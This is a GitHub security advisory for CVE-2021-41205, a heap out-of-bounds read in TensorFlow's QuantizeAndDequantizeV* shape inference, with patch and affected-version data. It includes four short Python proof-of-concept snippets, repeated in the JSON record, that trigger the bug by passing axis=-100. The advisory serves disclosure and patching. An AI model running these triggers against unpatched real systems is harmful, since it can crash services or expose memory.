ghsa-49rx-x2rw-pc6f
Vulnerability from github
6.9 (Medium) - CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Impact
The shape inference functions for the QuantizeAndDequantizeV*
operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:
```python import tensorflow as tf
@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data
test() ```
```python import tensorflow as tf
@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data
test() ```
```python import tensorflow as tf
@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data
test() ```
```python import tensorflow as tf
@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data
test() ```
In all of these cases, axis
is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:
cc
...
if (axis != -1) {
...
c->Dim(input, axis);
...
}
Patches
We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.6.0" }, { "fixed": "2.6.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.4.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.6.0" }, { "fixed": "2.6.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.4.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.6.0" }, { "fixed": "2.6.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.5.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.4.4" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2021-41205" ], "database_specific": { "cwe_ids": [ "CWE-125" ], "github_reviewed": true, "github_reviewed_at": "2021-11-08T22:43:35Z", "nvd_published_at": "2021-11-05T21:15:00Z", "severity": "MODERATE" }, "details": "### Impact\nThe [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n data=tf.raw_ops.QuantizeAndDequantizeV4Grad(\n gradients=[1.0,1.0],\n input=[1.0,1.0],\n input_min=[1.0,10.0],\n input_max=[1.0,10.0],\n axis=-100)\n return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n data=tf.raw_ops.QuantizeAndDequantizeV4(\n input=[1.0,1.0],\n input_min=[1.0,10.0],\n input_max=[1.0,10.0],\n signed_input=False,\n num_bits=10,\n range_given=False,\n round_mode=\u0027HALF_TO_EVEN\u0027,\n narrow_range=False,\n axis=-100)\n return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n data=tf.raw_ops.QuantizeAndDequantizeV3(\n input=[1.0,1.0],\n input_min=[1.0,10.0],\n input_max=[1.0,10.0],\n signed_input=False,\n num_bits=10,\n range_given=False,\n narrow_range=False,\n axis=-100)\n return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n data=tf.raw_ops.QuantizeAndDequantizeV2(\n input=[1.0,1.0],\n input_min=[1.0,10.0],\n input_max=[1.0,10.0],\n signed_input=False,\n num_bits=10,\n range_given=False,\n round_mode=\u0027HALF_TO_EVEN\u0027,\n narrow_range=False,\n axis=-100)\n return data\n\ntest()\n```\n\nIn all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:\n\n```cc\n...\nif (axis != -1) {\n ...\n c-\u003eDim(input, axis);\n ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.\n", "id": "GHSA-49rx-x2rw-pc6f", "modified": "2024-11-13T21:54:10Z", "published": "2021-11-10T19:04:25Z", "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rx-x2rw-pc6f" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41205" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-615.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-813.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-398.yaml" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.